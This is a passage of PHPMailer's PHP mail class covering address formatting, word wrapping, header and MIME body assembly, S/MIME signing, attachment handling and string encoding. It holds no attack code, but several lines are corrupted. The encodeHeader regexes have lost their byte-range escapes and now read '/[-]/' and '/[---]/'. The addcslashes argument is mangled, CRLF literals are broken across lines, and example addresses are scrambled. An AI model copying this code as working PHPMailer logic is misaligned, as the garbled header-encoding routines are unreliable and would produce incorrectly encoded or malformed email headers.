        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; 
        // There is no English translation file 
        if ($langcode != 'en') { 
            // Make sure language file path is readable 
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { 
                $foundlang = false; 
            } else { 
                // Overwrite language-specific strings. 
                // This way we'll never have missing translation keys. 
                $foundlang = include $lang_file; 
            } 
        } 
        $this->language = $PHPMAILER_LANG; 
        return (boolean)$foundlang; // Returns false if language not found 
    } 
 
    /** 
     * Get the array of strings for the current language. 
     * @return array 
     */ 
    public function getTranslations() 
    { 
        return $this->language; 
    } 
 
    /** 
     * Create recipient headers. 
     * @access public 
     * @param string $type 
     * @param array $addr An array of recipient, 
     * where each recipient is a 2-element indexed array with element 0 containing an address 
     * and element 1 containing a name, like: 
     * array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User')) 
     * @return string 
     */ 
    public function addrAppend($type, $addr) 
    { 
        $addresses = array(); 
        foreach ($addr as $address) { 
            $addresses[] = $this->addrFormat($address); 
        } 
        return $type . ': ' . implode(', ', $addresses) . $this->LE; 
    } 
 
    /** 
     * Format an address for use in a message header. 
     * @access public 
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name 
     *      like array('[email protected]', 'Joe User') 
     * @return string 
     */ 
    public function addrFormat($addr) 
    { 
        if (empty($addr[1])) { // No name provided 
            return $this->secureHeader($addr[0]); 
        } else { 
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( 
                $addr[0] 
            ) . '>'; 
        } 
    } 
 
    /** 
     * Word-wrap message. 
     * For use with mailers that do not automatically perform wrapping 
     * and for quoted-printable encoded messages. 
     * Original written by philippe. 
     * @param string $message The message to wrap 
     * @param integer $length The line length to wrap to 
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode 
     * @access public 
     * @return string 
     */ 
    public function wrapText($message, $length, $qp_mode = false) 
    { 
        if ($qp_mode) { 
            $soft_break = sprintf(' =%s', $this->LE); 
        } else { 
            $soft_break = $this->LE; 
        } 
        // If utf-8 encoding is used, we will need to make sure we don't 
        // split multibyte characters when we wrap 
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); 
        $lelen = strlen($this->LE); 
        $crlflen = strlen(self::CRLF); 
 
        $message = $this->fixEOL($message); 
        //Remove a trailing line break 
        if (substr($message, -$lelen) == $this->LE) { 
            $message = substr($message, 0, -$lelen); 
        } 
 
        //Split message into lines 
        $lines = explode($this->LE, $message); 
        //Message will be rebuilt in here 
        $message = ''; 
        foreach ($lines as $line) { 
            $words = explode(' ', $line); 
            $buf = ''; 
            $firstword = true; 
            foreach ($words as $word) { 
                if ($qp_mode and (strlen($word) > $length)) { 
                    $space_left = $length - strlen($buf) - $crlflen; 
                    if (!$firstword) { 
                        if ($space_left > 20) { 
                            $len = $space_left; 
                            if ($is_utf8) { 
                                $len = $this->utf8CharBoundary($word, $len); 
                            } elseif (substr($word, $len - 1, 1) == '=') { 
                                $len--; 
                            } elseif (substr($word, $len - 2, 1) == '=') { 
                                $len -= 2; 
                            } 
                            $part = substr($word, 0, $len); 
                            $word = substr($word, $len); 
                            $buf .= ' ' . $part; 
                            $message .= $buf . sprintf('=%s', self::CRLF); 
                        } else { 
                            $message .= $buf . $soft_break; 
                        } 
                        $buf = ''; 
                    } 
                    while (strlen($word) > 0) { 
                        if ($length <= 0) { 
                            break; 
                        } 
                        $len = $length; 
                        if ($is_utf8) { 
                            $len = $this->utf8CharBoundary($word, $len); 
                        } elseif (substr($word, $len - 1, 1) == '=') { 
                            $len--; 
                        } elseif (substr($word, $len - 2, 1) == '=') { 
                            $len -= 2; 
                        } 
                        $part = substr($word, 0, $len); 
                        $word = substr($word, $len); 
 
                        if (strlen($word) > 0) { 
                            $message .= $part . sprintf('=%s', self::CRLF); 
                        } else { 
                            $buf = $part; 
                        } 
                    } 
                } else { 
                    $buf_o = $buf; 
                    if (!$firstword) { 
                        $buf .= ' '; 
                    } 
                    $buf .= $word; 
 
                    if (strlen($buf) > $length and $buf_o != '') { 
                        $message .= $buf_o . $soft_break; 
                        $buf = $word; 
                    } 
                } 
                $firstword = false; 
            } 
            $message .= $buf . self::CRLF; 
        } 
 
        return $message; 
    } 
 
    /** 
     * Find the last character boundary prior to $maxLength in a utf-8 
     * quoted-printable encoded string. 
     * Original written by Colin Brown. 
     * @access public 
     * @param string $encodedText utf-8 QP text 
     * @param integer $maxLength Find the last character boundary prior to this length 
     * @return integer 
     */ 
    public function utf8CharBoundary($encodedText, $maxLength) 
    { 
        $foundSplitPos = false; 
        $lookBack = 3; 
        while (!$foundSplitPos) { 
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); 
            $encodedCharPos = strpos($lastChunk, '='); 
            if (false !== $encodedCharPos) { 
                // Found start of encoded character byte within $lookBack block. 
                // Check the encoded byte value (the 2 chars after the '=') 
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); 
                $dec = hexdec($hex); 
                if ($dec < 128) { 
                    // Single byte character. 
                    // If the encoded char was found at pos 0, it will fit 
                    // otherwise reduce maxLength to start of the encoded char 
                    if ($encodedCharPos > 0) { 
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos); 
                    } 
                    $foundSplitPos = true; 
                } elseif ($dec >= 192) { 
                    // First byte of a multi byte character 
                    // Reduce maxLength to split at start of character 
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos); 
                    $foundSplitPos = true; 
                } elseif ($dec < 192) { 
                    // Middle byte of a multi byte character, look further back 
                    $lookBack += 3; 
                } 
            } else { 
                // No encoded character found 
                $foundSplitPos = true; 
            } 
        } 
        return $maxLength; 
    } 
 
    /** 
     * Apply word wrapping to the message body. 
     * Wraps the message body to the number of chars set in the WordWrap property. 
     * You should only do this to plain-text bodies as wrapping HTML tags may break them. 
     * This is called automatically by createBody(), so you don't need to call it yourself. 
     * @access public 
     * @return void 
     */ 
    public function setWordWrap() 
    { 
        if ($this->WordWrap < 1) { 
            return; 
        } 
 
        switch ($this->message_type) { 
            case 'alt': 
            case 'alt_inline': 
            case 'alt_attach': 
            case 'alt_inline_attach': 
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); 
                break; 
            default: 
                $this->Body = $this->wrapText($this->Body, $this->WordWrap); 
                break; 
        } 
    } 
 
    /** 
     * Assemble message headers. 
     * @access public 
     * @return string The assembled headers 
     */ 
    public function createHeader() 
    { 
        $result = ''; 
 
        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); 
 
        // To be created automatically by mail() 
        if ($this->SingleTo) { 
            if ($this->Mailer != 'mail') { 
                foreach ($this->to as $toaddr) { 
                    $this->SingleToArray[] = $this->addrFormat($toaddr); 
                } 
            } 
        } else { 
            if (count($this->to) > 0) { 
                if ($this->Mailer != 'mail') { 
                    $result .= $this->addrAppend('To', $this->to); 
                } 
            } elseif (count($this->cc) == 0) { 
                $result .= $this->headerLine('To', 'undisclosed-recipients:;'); 
            } 
        } 
 
        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); 
 
        // sendmail and mail() extract Cc from the header before sending 
        if (count($this->cc) > 0) { 
            $result .= $this->addrAppend('Cc', $this->cc); 
        } 
 
        // sendmail and mail() extract Bcc from the header before sending 
        if (( 
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' 
            ) 
            and count($this->bcc) > 0 
        ) { 
            $result .= $this->addrAppend('Bcc', $this->bcc); 
        } 
 
        if (count($this->ReplyTo) > 0) { 
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo); 
        } 
 
        // mail() sets the subject itself 
        if ($this->Mailer != 'mail') { 
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); 
        } 
 
        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 
        // https://tools.ietf.org/html/rfc5322#section-3.6.4 
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) { 
            $this->lastMessageID = $this->MessageID; 
        } else { 
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); 
        } 
        $result .= $this->headerLine('Message-ID', $this->lastMessageID); 
        if (!is_null($this->Priority)) { 
            $result .= $this->headerLine('X-Priority', $this->Priority); 
        } 
        if ($this->XMailer == '') { 
            $result .= $this->headerLine( 
                'X-Mailer', 
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)' 
            ); 
        } else { 
            $myXmailer = trim($this->XMailer); 
            if ($myXmailer) { 
                $result .= $this->headerLine('X-Mailer', $myXmailer); 
            } 
        } 
 
        if ($this->ConfirmReadingTo != '') { 
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); 
        } 
 
        // Add custom headers 
        foreach ($this->CustomHeader as $header) { 
            $result .= $this->headerLine( 
                trim($header[0]), 
                $this->encodeHeader(trim($header[1])) 
            ); 
        } 
        if (!$this->sign_key_file) { 
            $result .= $this->headerLine('MIME-Version', '1.0'); 
            $result .= $this->getMailMIME(); 
        } 
 
        return $result; 
    } 
 
    /** 
     * Get the message MIME type headers. 
     * @access public 
     * @return string 
     */ 
    public function getMailMIME() 
    { 
        $result = ''; 
        $ismultipart = true; 
        switch ($this->message_type) { 
            case 'inline': 
                $result .= $this->headerLine('Content-Type', 'multipart/related;'); 
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"'); 
                break; 
            case 'attach': 
            case 'inline_attach': 
            case 'alt_attach': 
            case 'alt_inline_attach': 
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); 
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"'); 
                break; 
            case 'alt': 
            case 'alt_inline': 
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); 
                $result .= $this->textLine("	boundary=\"" . $this->boundary[1] . '"'); 
                break; 
            default: 
                // Catches case 'plain': and case '': 
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); 
                $ismultipart = false; 
                break; 
        } 
        // RFC1341 part 5 says 7bit is assumed if not specified 
        if ($this->Encoding != '7bit') { 
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE 
            if ($ismultipart) { 
                if ($this->Encoding == '8bit') { 
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); 
                } 
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible 
            } else { 
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); 
            } 
        } 
 
        if ($this->Mailer != 'mail') { 
            $result .= $this->LE; 
        } 
 
        return $result; 
    } 
 
    /** 
     * Returns the whole MIME message. 
     * Includes complete headers and body. 
     * Only valid post preSend(). 
     * @see PHPMailer::preSend() 
     * @access public 
     * @return string 
     */ 
    public function getSentMIMEMessage() 
    { 
        return rtrim($this->MIMEHeader . $this->mailHeader, "

") . self::CRLF . self::CRLF . $this->MIMEBody; 
    } 
 
    /** 
     * Create unique ID 
     * @return string 
     */ 
    protected function generateId() { 
        return md5(uniqid(time())); 
    } 
 
    /** 
     * Assemble the message body. 
     * Returns an empty string on failure. 
     * @access public 
     * @throws phpmailerException 
     * @return string The assembled message body 
     */ 
    public function createBody() 
    { 
        $body = ''; 
        //Create unique IDs and preset boundaries 
        $this->uniqueid = $this->generateId(); 
        $this->boundary[1] = 'b1_' . $this->uniqueid; 
        $this->boundary[2] = 'b2_' . $this->uniqueid; 
        $this->boundary[3] = 'b3_' . $this->uniqueid; 
 
        if ($this->sign_key_file) { 
            $body .= $this->getMailMIME() . $this->LE; 
        } 
 
        $this->setWordWrap(); 
 
        $bodyEncoding = $this->Encoding; 
        $bodyCharSet = $this->CharSet; 
        //Can we do a 7-bit downgrade? 
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { 
            $bodyEncoding = '7bit'; 
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit 
            $bodyCharSet = 'us-ascii'; 
        } 
        //If lines are too long, and we're not already using an encoding that will shorten them, 
        //change to quoted-printable transfer encoding for the body part only 
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { 
            $bodyEncoding = 'quoted-printable'; 
        } 
 
        $altBodyEncoding = $this->Encoding; 
        $altBodyCharSet = $this->CharSet; 
        //Can we do a 7-bit downgrade? 
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { 
            $altBodyEncoding = '7bit'; 
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit 
            $altBodyCharSet = 'us-ascii'; 
        } 
        //If lines are too long, and we're not already using an encoding that will shorten them, 
        //change to quoted-printable transfer encoding for the alt body part only 
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { 
            $altBodyEncoding = 'quoted-printable'; 
        } 
        //Use this as a preamble in all multipart message types 
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; 
        switch ($this->message_type) { 
            case 'inline': 
                $body .= $mimepre; 
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->attachAll('inline', $this->boundary[1]); 
                break; 
            case 'attach': 
                $body .= $mimepre; 
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->attachAll('attachment', $this->boundary[1]); 
                break; 
            case 'inline_attach': 
                $body .= $mimepre; 
                $body .= $this->textLine('--' . $this->boundary[1]); 
                $body .= $this->headerLine('Content-Type', 'multipart/related;'); 
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"'); 
                $body .= $this->LE; 
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->attachAll('inline', $this->boundary[2]); 
                $body .= $this->LE; 
                $body .= $this->attachAll('attachment', $this->boundary[1]); 
                break; 
            case 'alt': 
                $body .= $mimepre; 
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); 
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                if (!empty($this->Ical)) { 
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); 
                    $body .= $this->encodeString($this->Ical, $this->Encoding); 
                    $body .= $this->LE . $this->LE; 
                } 
                $body .= $this->endBoundary($this->boundary[1]); 
                break; 
            case 'alt_inline': 
                $body .= $mimepre; 
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); 
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->textLine('--' . $this->boundary[1]); 
                $body .= $this->headerLine('Content-Type', 'multipart/related;'); 
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"'); 
                $body .= $this->LE; 
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->attachAll('inline', $this->boundary[2]); 
                $body .= $this->LE; 
                $body .= $this->endBoundary($this->boundary[1]); 
                break; 
            case 'alt_attach': 
                $body .= $mimepre; 
                $body .= $this->textLine('--' . $this->boundary[1]); 
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); 
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"'); 
                $body .= $this->LE; 
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); 
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->endBoundary($this->boundary[2]); 
                $body .= $this->LE; 
                $body .= $this->attachAll('attachment', $this->boundary[1]); 
                break; 
            case 'alt_inline_attach': 
                $body .= $mimepre; 
                $body .= $this->textLine('--' . $this->boundary[1]); 
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); 
                $body .= $this->textLine("	boundary=\"" . $this->boundary[2] . '"'); 
                $body .= $this->LE; 
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); 
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->textLine('--' . $this->boundary[2]); 
                $body .= $this->headerLine('Content-Type', 'multipart/related;'); 
                $body .= $this->textLine("	boundary=\"" . $this->boundary[3] . '"'); 
                $body .= $this->LE; 
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); 
                $body .= $this->encodeString($this->Body, $bodyEncoding); 
                $body .= $this->LE . $this->LE; 
                $body .= $this->attachAll('inline', $this->boundary[3]); 
                $body .= $this->LE; 
                $body .= $this->endBoundary($this->boundary[2]); 
                $body .= $this->LE; 
                $body .= $this->attachAll('attachment', $this->boundary[1]); 
                break; 
            default: 
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types 
                //Reset the `Encoding` property in case we changed it for line length reasons 
                $this->Encoding = $bodyEncoding; 
                $body .= $this->encodeString($this->Body, $this->Encoding); 
                break; 
        } 
 
        if ($this->isError()) { 
            $body = ''; 
        } elseif ($this->sign_key_file) { 
            try { 
                if (!defined('PKCS7_TEXT')) { 
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl'); 
                } 
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 
                $file = tempnam(sys_get_temp_dir(), 'mail'); 
                if (false === file_put_contents($file, $body)) { 
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); 
                } 
                $signed = tempnam(sys_get_temp_dir(), 'signed'); 
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 
                if (empty($this->sign_extracerts_file)) { 
                    $sign = @openssl_pkcs7_sign( 
                        $file, 
                        $signed, 
                        'file://' . realpath($this->sign_cert_file), 
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), 
                        null 
                    ); 
                } else { 
                    $sign = @openssl_pkcs7_sign( 
                        $file, 
                        $signed, 
                        'file://' . realpath($this->sign_cert_file), 
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), 
                        null, 
                        PKCS7_DETACHED, 
                        $this->sign_extracerts_file 
                    ); 
                } 
                if ($sign) { 
                    @unlink($file); 
                    $body = file_get_contents($signed); 
                    @unlink($signed); 
                    //The message returned by openssl contains both headers and body, so need to split them up 
                    $parts = explode("

", $body, 2); 
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; 
                    $body = $parts[1]; 
                } else { 
                    @unlink($file); 
                    @unlink($signed); 
                    throw new phpmailerException($this->lang('signing') . openssl_error_string()); 
                } 
            } catch (phpmailerException $exc) { 
                $body = ''; 
                if ($this->exceptions) { 
                    throw $exc; 
                } 
            } 
        } 
        return $body; 
    } 
 
    /** 
     * Return the start of a message boundary. 
     * @access protected 
     * @param string $boundary 
     * @param string $charSet 
     * @param string $contentType 
     * @param string $encoding 
     * @return string 
     */ 
    protected function getBoundary($boundary, $charSet, $contentType, $encoding) 
    { 
        $result = ''; 
        if ($charSet == '') { 
            $charSet = $this->CharSet; 
        } 
        if ($contentType == '') { 
            $contentType = $this->ContentType; 
        } 
        if ($encoding == '') { 
            $encoding = $this->Encoding; 
        } 
        $result .= $this->textLine('--' . $boundary); 
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); 
        $result .= $this->LE; 
        // RFC1341 part 5 says 7bit is assumed if not specified 
        if ($encoding != '7bit') { 
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); 
        } 
        $result .= $this->LE; 
 
        return $result; 
    } 
 
    /** 
     * Return the end of a message boundary. 
     * @access protected 
     * @param string $boundary 
     * @return string 
     */ 
    protected function endBoundary($boundary) 
    { 
        return $this->LE . '--' . $boundary . '--' . $this->LE; 
    } 
 
    /** 
     * Set the message type. 
     * PHPMailer only supports some preset message types, not arbitrary MIME structures. 
     * @access protected 
     * @return void 
     */ 
    protected function setMessageType() 
    { 
        $type = array(); 
        if ($this->alternativeExists()) { 
            $type[] = 'alt'; 
        } 
        if ($this->inlineImageExists()) { 
            $type[] = 'inline'; 
        } 
        if ($this->attachmentExists()) { 
            $type[] = 'attach'; 
        } 
        $this->message_type = implode('_', $type); 
        if ($this->message_type == '') { 
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text 
            $this->message_type = 'plain'; 
        } 
    } 
 
    /** 
     * Format a header line. 
     * @access public 
     * @param string $name 
     * @param string $value 
     * @return string 
     */ 
    public function headerLine($name, $value) 
    { 
        return $name . ': ' . $value . $this->LE; 
    } 
 
    /** 
     * Return a formatted mail line. 
     * @access public 
     * @param string $value 
     * @return string 
     */ 
    public function textLine($value) 
    { 
        return $value . $this->LE; 
    } 
 
    /** 
     * Add an attachment from a path on the filesystem. 
     * Never use a user-supplied path to a file! 
     * Returns false if the file could not be found or read. 
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. 
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string. 
     * @param string $path Path to the attachment. 
     * @param string $name Overrides the attachment name. 
     * @param string $encoding File encoding (see $Encoding). 
     * @param string $type File extension (MIME) type. 
     * @param string $disposition Disposition to use 
     * @throws phpmailerException 
     * @return boolean 
     */ 
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') 
    { 
        try { 
            if (!self::isPermittedPath($path) or !@is_file($path)) { 
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); 
            } 
 
            // If a MIME type is not specified, try to work it out from the file name 
            if ($type == '') { 
                $type = self::filenameToType($path); 
            } 
 
            $filename = basename($path); 
            if ($name == '') { 
                $name = $filename; 
            } 
 
            $this->attachment[] = array( 
                0 => $path, 
                1 => $filename, 
                2 => $name, 
                3 => $encoding, 
                4 => $type, 
                5 => false, // isStringAttachment 
                6 => $disposition, 
                7 => 0 
            ); 
 
        } catch (phpmailerException $exc) { 
            $this->setError($exc->getMessage()); 
            $this->edebug($exc->getMessage()); 
            if ($this->exceptions) { 
                throw $exc; 
            } 
            return false; 
        } 
        return true; 
    } 
 
    /** 
     * Return the array of attachments. 
     * @return array 
     */ 
    public function getAttachments() 
    { 
        return $this->attachment; 
    } 
 
    /** 
     * Attach all file, string, and binary attachments to the message. 
     * Returns an empty string on failure. 
     * @access protected 
     * @param string $disposition_type 
     * @param string $boundary 
     * @return string 
     */ 
    protected function attachAll($disposition_type, $boundary) 
    { 
        // Return text of body 
        $mime = array(); 
        $cidUniq = array(); 
        $incl = array(); 
 
        // Add all attachments 
        foreach ($this->attachment as $attachment) { 
            // Check if it is a valid disposition_filter 
            if ($attachment[6] == $disposition_type) { 
                // Check for string attachment 
                $string = ''; 
                $path = ''; 
                $bString = $attachment[5]; 
                if ($bString) { 
                    $string = $attachment[0]; 
                } else { 
                    $path = $attachment[0]; 
                } 
 
                $inclhash = md5(serialize($attachment)); 
                if (in_array($inclhash, $incl)) { 
                    continue; 
                } 
                $incl[] = $inclhash; 
                $name = $attachment[2]; 
                $encoding = $attachment[3]; 
                $type = $attachment[4]; 
                $disposition = $attachment[6]; 
                $cid = $attachment[7]; 
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) { 
                    continue; 
                } 
                $cidUniq[$cid] = true; 
 
                $mime[] = sprintf('--%s%s', $boundary, $this->LE); 
                //Only include a filename property if we have one 
                if (!empty($name)) { 
                    $mime[] = sprintf( 
                        'Content-Type: %s; name="%s"%s', 
                        $type, 
                        $this->encodeHeader($this->secureHeader($name)), 
                        $this->LE 
                    ); 
                } else { 
                    $mime[] = sprintf( 
                        'Content-Type: %s%s', 
                        $type, 
                        $this->LE 
                    ); 
                } 
                // RFC1341 part 5 says 7bit is assumed if not specified 
                if ($encoding != '7bit') { 
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); 
                } 
 
                if ($disposition == 'inline') { 
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); 
                } 
 
                // If a filename contains any of these chars, it should be quoted, 
                // but not otherwise: RFC2183 & RFC2045 5.1 
                // Fixes a warning in IETF's msglint MIME checker 
                // Allow for bypassing the Content-Disposition header totally 
                if (!(empty($disposition))) { 
                    $encoded_name = $this->encodeHeader($this->secureHeader($name)); 
                    if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) { 
                        $mime[] = sprintf( 
                            'Content-Disposition: %s; filename="%s"%s', 
                            $disposition, 
                            $encoded_name, 
                            $this->LE . $this->LE 
                        ); 
                    } else { 
                        if (!empty($encoded_name)) { 
                            $mime[] = sprintf( 
                                'Content-Disposition: %s; filename=%s%s', 
                                $disposition, 
                                $encoded_name, 
                                $this->LE . $this->LE 
                            ); 
                        } else { 
                            $mime[] = sprintf( 
                                'Content-Disposition: %s%s', 
                                $disposition, 
                                $this->LE . $this->LE 
                            ); 
                        } 
                    } 
                } else { 
                    $mime[] = $this->LE; 
                } 
 
                // Encode as string attachment 
                if ($bString) { 
                    $mime[] = $this->encodeString($string, $encoding); 
                    if ($this->isError()) { 
                        return ''; 
                    } 
                    $mime[] = $this->LE . $this->LE; 
                } else { 
                    $mime[] = $this->encodeFile($path, $encoding); 
                    if ($this->isError()) { 
                        return ''; 
                    } 
                    $mime[] = $this->LE . $this->LE; 
                } 
            } 
        } 
 
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE); 
 
        return implode('', $mime); 
    } 
 
    /** 
     * Encode a file attachment in requested format. 
     * Returns an empty string on failure. 
     * @param string $path The full path to the file 
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' 
     * @throws phpmailerException 
     * @access protected 
     * @return string 
     */ 
    protected function encodeFile($path, $encoding = 'base64') 
    { 
        try { 
            if (!self::isPermittedPath($path) or !file_exists($path)) { 
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); 
            } 
            $magic_quotes = false; 
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) { 
                $magic_quotes = get_magic_quotes_runtime(); 
            } 
            if ($magic_quotes) { 
                if (version_compare(PHP_VERSION, '5.3.0', '<')) { 
                    set_magic_quotes_runtime(false); 
                } else { 
                    //Doesn't exist in PHP 5.4, but we don't need to check because 
                    //get_magic_quotes_runtime always returns false in 5.4+ 
                    //so it will never get here 
                    ini_set('magic_quotes_runtime', false); 
                } 
            } 
            $file_buffer = file_get_contents($path); 
            $file_buffer = $this->encodeString($file_buffer, $encoding); 
            if ($magic_quotes) { 
                if (version_compare(PHP_VERSION, '5.3.0', '<')) { 
                    set_magic_quotes_runtime($magic_quotes); 
                } else { 
                    ini_set('magic_quotes_runtime', $magic_quotes); 
                } 
            } 
            return $file_buffer; 
        } catch (Exception $exc) { 
            $this->setError($exc->getMessage()); 
            return ''; 
        } 
    } 
 
    /** 
     * Encode a string in requested format. 
     * Returns an empty string on failure. 
     * @param string $str The text to encode 
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' 
     * @access public 
     * @return string 
     */ 
    public function encodeString($str, $encoding = 'base64') 
    { 
        $encoded = ''; 
        switch (strtolower($encoding)) { 
            case 'base64': 
                $encoded = chunk_split(base64_encode($str), 76, $this->LE); 
                break; 
            case '7bit': 
            case '8bit': 
                $encoded = $this->fixEOL($str); 
                // Make sure it ends with a line break 
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) { 
                    $encoded .= $this->LE; 
                } 
                break; 
            case 'binary': 
                $encoded = $str; 
                break; 
            case 'quoted-printable': 
                $encoded = $this->encodeQP($str); 
                break; 
            default: 
                $this->setError($this->lang('encoding') . $encoding); 
                break; 
        } 
        return $encoded; 
    } 
 
    /** 
     * Encode a header string optimally. 
     * Picks shortest of Q, B, quoted-printable or none. 
     * @access public 
     * @param string $str 
     * @param string $position 
     * @return string 
     */ 
    public function encodeHeader($str, $position = 'text') 
    { 
        $matchcount = 0; 
        switch (strtolower($position)) { 
            case 'phrase': 
                if (!preg_match('/[-]/', $str)) { 
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase 
                    $encoded = addcslashes($str, "..\\""); 
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { 
                        return ($encoded); 
                    } else { 
                        return ("\"$encoded\""); 
                    } 
                } 
                $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches); 
                break; 
            /** @noinspection PhpMissingBreakStatementInspection */ 
            case 'comment': 
                $matchcount = preg_match_all('/[()"]/', $str, $matches); 
                // Intentional fall-through 
            case 'text': 
            default: 
                $matchcount += preg_match_all('/[---]/', $str, $matches); 
                break; 
        } 
 
        //There are no chars that need encoding 
        if ($matchcount == 0) { 
            return ($str); 
        } 
 
        $maxlen = 75 - 7 - strlen($this->CharSet); 
        // Try to select the encoding which should produce the shortest output 
        if ($matchcount > strlen($str) / 3) { 
